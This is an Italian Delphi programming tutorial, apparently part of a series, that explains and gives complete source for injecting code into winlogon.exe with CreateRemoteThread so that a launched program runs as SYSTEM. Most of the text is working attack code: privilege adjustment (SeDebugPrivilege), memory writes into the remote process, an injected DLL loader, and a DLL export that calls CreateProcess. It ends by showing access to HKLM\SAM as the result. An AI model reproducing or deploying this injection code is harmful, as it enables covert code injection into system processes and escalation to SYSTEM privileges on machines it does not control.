|
Nell' articolo articolo40.htm abbiamo
visto come copiare una funzione ed il suo input nello spazio di memoria di una
altro processo e quindi eseguire la funzione come thread del processo remoto
grazie alla CreateRemoteThread. Bene ... la procedura che vado a copiare può ad
esempio caricare una dll e richiamare una delle funzioni esportate da tale dll.
Ok ... supponiamo ora che la dll che viene caricata esporti una procedura che
esegue l' api CreateProcess: se la procedura copiata nello spazio di memoria del
processo remoto carica la dll e poi chiama la procedura in questione (ossia la
procedura esportata dalla dll e la cui implementazione consiste nella chiamata
all' api CreateProcess) il processo creato dalla CreateProcess sarà un processo
figlio del processo remoto. Dunnnqueeeee ... se il processo remoto fosse ad
esempio winlogon.exe??? Behh allora il processo generato dalla CreateProcess
sarà figlio di winlogon.exe e quindi verrà eseguito con l' utenza System. Bene
abbiamo quindi trovato un modo per eseguire un processo come System.
Vediamo ora come implementare il tutto:
prima di tutto creiamoci la dll con la procedura esportata la cui
implementazione consiste nell' esecuzione di una CreateProcess
library HookDll;
uses
Windows,
SysUtils,
Classes;
procedure AttivaApplicazione(FileName: string; Visibility: Integer);
var
zAppName: array[0..512] of Char;
zCurDir: array[0..255] of Char;
WorkDir: string;
StartupInfo: TStartupInfo;
ProcessInfo: TProcessInformation;
begin
StrPCopy(zAppName, FileName);
GetDir(0, WorkDir);
StrPCopy(zCurDir, WorkDir);
FillChar(StartupInfo, SizeOf(StartupInfo), #0);
StartupInfo.cb := SizeOf(StartupInfo);
StartupInfo.lpDesktop := pChar('winsta0\default');
StartupInfo.dwFlags := STARTF_USESHOWWINDOW;
StartupInfo.wShowWindow := Visibility;
CreateProcess(nil,
zAppName,
nil,
nil,
False,
CREATE_NEW_CONSOLE or NORMAL_PRIORITY_CLASS,
nil,
nil,
StartupInfo,
ProcessInfo);
end; {AttivaApplicazione}
procedure MyCreateProcess(str: pChar); stdcall;
begin
AttivaApplicazione(str, SW_SHOW);
end;
exports
MyCreateProcess;
{$R *.RES}
procedure EntryPointProc(reason: integer);
begin
case reason of
DLL_PROCESS_ATTACH:
begin
end;
DLL_THREAD_ATTACH:
begin
end;
DLL_PROCESS_DETACH:
begin
end;
DLL_THREAD_DETACH:
begin
end;
end;
end;
begin
DllProc := @EntryPointProc;
EntryPointProc(DLL_PROCESS_ATTACH);
end.
E' da notare la riga
StartupInfo.lpDesktop := pChar('winsta0\Desktop'); StartupInfo specifica le caratteristiche principali del processo che viene
creato dalla CreateProcess ed il campo lpDesktop indica il Desktop con cui deve
interagire il processo. Per maggiori informazioni sul concetto di WindowStation
e Desktop si può far riferimento all' articolo
http://www.microsoft.com/msj/1298/terminalserver/terminalserver.aspx che, pur essendo datato, contiene appunto un paragrafo di nome
"Windowstations and Desktops" in cui si parla dei suddetti concetti. In breve se
non viene specificato il valore di lpDesktop, il processo generato dalla
CreateProcess andrà in esecuzione ndella WindowStation dell' utenza System e
quindi non sarà visibile graficamente (pur essendo visibilissimo dal Task
Manager).
Bene, ora dobbiamo creare una procedura che dovrà essere copiata ed eseguita
nello spazio di memoria di winlogon.exe e che appunto faccia le seguenti cose:
carichi nello spazio di memoria di winlogon.exe la dll sopra (di nome
HookDll.dll),e chiami la procedura esportata dalla medesima (MyCreateProcess),
esegua il FreeLibrary della dll precedentemente caricata. Assieme ad essa
dobbiamo definire un record che contenga tutte le informazioni di cui la
procedura stessa avrà bisogno per eseguire il suo operato una volta copiata
nello spazio di memoria di winlogon.exe. Un puntatore a tale record sarà appunto
l' argomento di input della procedura stessa. Tenendo conto di tutte le
considerazioni fatte negli articoli precedenti si perviene a:
unit ProcessUtilities;
interface
uses
Windows, Sysutils, TlHelp32;
procedure SystemProcess(NomeProg: pChar);
implementation
type
TRemoteData = record
pMyCreateProcess: procedure(str: pChar); stdcall;
pGetModuleHandle: function(lpModuleName: PChar): HMODULE; stdcall;
pLoadLibrary: function(lpLibFileName: PChar): HMODULE; stdcall;
pGetProcAddress: function(hModule: HMODULE; lpProcName: LPCSTR): FARPROC; stdcall;
pFreeLibrary: function(hLibModule: HMODULE): BOOL; stdcall;
pExitProcess: procedure(uExitCode: UINT); stdcall;
pDllName: pchar;
pFunctionName: pchar;
pProgName: pchar;
end;
PRemoteData = ^TRemoteData;
procedure ModificaPrivilegio(szPrivilege: pChar; fEnable: Boolean);
var
NewState: TTokenPrivileges;
luid: TLargeInteger;
hToken: THandle;
ReturnLength: DWord;
begin
OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES,
hToken);
LookupPrivilegeValue(nil,
szPrivilege,
luid);
NewState.PrivilegeCount := 1;
NewState.Privileges[0].Luid := luid;
if fEnable then
NewState.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED
else
NewState.Privileges[0].Attributes := 0;
AdjustTokenPrivileges(
hToken,
FALSE,
NewState,
sizeof(NewState),
nil,
ReturnLength);
CloseHandle(hToken);
end;
function PidProcesso(NomeProcesso: string): LongWord;
var
pe: TProcessEntry32;
hSnap: THandle;
begin
hSnap := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
pe.dwSize := sizeof(TProcessEntry32);
//Prelevo informazioni sul primo processo nello snapshot di sistema
Process32First(hSnap, pe);
repeat //loop sui processi
Result := pe.th32ProcessID;
if (LowerCase(pe.szExeFile) = LowerCase(NomeProcesso)) then
begin
break;
end;
until (not (Process32Next(hSnap, pe)) ) ;
CloseHandle(hSnap);
end;
function InjectString(Process: LongWord; Text: pchar): pchar;
var
BytesWritten: dword;
begin
Result := VirtualAllocEx(Process,
nil,
Length(Text) + 1,
MEM_COMMIT or MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
WriteProcessMemory(Process, Result, Text, Length(Text) + 1, BytesWritten);
end;
function InjectDati(Process: LongWord; Dati: Pointer; Dimensione: dword): pointer;
var
BytesWritten: dword;
begin
Result := VirtualAllocEx(Process,
nil,
Dimensione,
MEM_COMMIT or MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
WriteProcessMemory(Process, Result, Dati, Dimensione, BytesWritten);
end;
procedure InjectDll(PID: dword; DLL: pChar);
var
BytesWritten, Process, Thread, ThreadId: dword;
Paramaters: pointer;
begin
ModificaPrivilegio('SeDebugPrivilege', TRUE);
Process := OpenProcess(PROCESS_CREATE_THREAD +
PROCESS_QUERY_INFORMATION +
PROCESS_VM_OPERATION +
PROCESS_VM_WRITE +
PROCESS_VM_READ,
False,
PID
);
Paramaters := VirtualAllocEx(
Process,
nil,
Length(DLL),
MEM_COMMIT,
PAGE_READWRITE);
WriteProcessMemory(Process,
Paramaters,
Pointer(DLL),
Length(DLL),
BytesWritten);
Thread := CreateRemoteThread(Process,
nil,
0,
GetProcAddress(GetModuleHandle('KERNEL32.DLL'), 'LoadLibraryA'),
Paramaters,
0,
ThreadId);
WaitForSingleObject(Thread, INFINITE);
VirtualFreeEx(Process,
Paramaters,
0,
MEM_RELEASE);
CloseHandle(Thread);
CloseHandle(Process);
end;
procedure RemoteThread(RemoteData: PRemoteData); stdcall;
var
Dll_handle:LongWord;
begin
with RemoteData^ do
begin
Dll_Handle := pGetModuleHandle(pDllName);
if Dll_handle = 0 then
Dll_Handle := pLoadLibrary(pDllName);
pMyCreateProcess := pGetProcAddress(Dll_Handle, pFunctionName);
pMyCreateProcess(pProgName);
pFreeLibrary(Dll_handle);
end;
end;
procedure EndRemoteThread(); stdcall;
begin
end;
procedure SystemProcess(NomeProg: pChar);
var
PID: dword;
RemoteData: TRemoteData;
process, thread: THandle;
ptrInput, ptrProc: Pointer;
ThreadId: DWORD;
begin
ModificaPrivilegio('SeDebugPrivilege', TRUE);
PID := PidProcesso('winlogon.exe');
Process := OpenProcess(PROCESS_CREATE_THREAD +
PROCESS_QUERY_INFORMATION +
PROCESS_VM_OPERATION +
PROCESS_VM_WRITE +
PROCESS_VM_READ,
False,
PID
);
RemoteData.pDllName := InjectString(Process, pChar(GetCurrentDir + '\HookDll.dll'));
RemoteData.pFunctionName := InjectString(Process, 'MyCreateProcess');
RemoteData.pProgName := InjectString(Process, NomeProg);
RemoteData.pGetModuleHandle := GetProcAddress(GetModuleHandle('kernel32'), 'GetModuleHandleA');
RemoteData.pLoadLibrary := GetProcAddress(GetModuleHandle('kernel32'), 'LoadLibraryA');
RemoteData.pGetProcAddress := GetProcAddress(GetModuleHandle('kernel32'), 'GetProcAddress');
RemoteData.pExitProcess := GetProcAddress(GetModuleHandle('kernel32'), 'ExitProcess');
RemoteData.pFreeLibrary := GetProcAddress(GetModuleHandle('kernel32'), 'FreeLibrary');
ptrInput := InjectDati(Process, @RemoteData, SizeOf(RemoteData));
ptrProc := InjectDati(Process, @RemoteThread, dword(@EndRemoteThread) - dword(@RemoteThread));
Thread := CreateRemoteThread(Process, nil, 0, ptrProc, ptrInput, 0, ThreadId);
WaitForSingleObject(Thread, INFINITE);
CloseHandle(Thread);
end;
end.
La procedura chiave della unit ProcessUtilites è SystemProcess che prende in
input il nome di un programma e lo esegue nel contesto dell' utenza System. Il
gioco è quindi fatto. Per verificare che il programma lanciato gira effettivamente come System basta aprire il Task Manager, andare nell' elenco dei processi e vedere che appunto il nome utente associato al programma è SYSTEM. Utilizzando "Process explorer" si può verificare che effettivamente il processo generato è figlio di Winlogon.exe. Poi si può verificare che si ha un livello di accesso superiore alla norma: se lanciamo regedit.exe possiamo ad esempio navigare nella chiave HKLM\SAM. Se poi eseguiamo cmd.exe si può entrare tranquillamente nella cartella "System Volume Information" della partizione di sistema, etc... sorgenti
|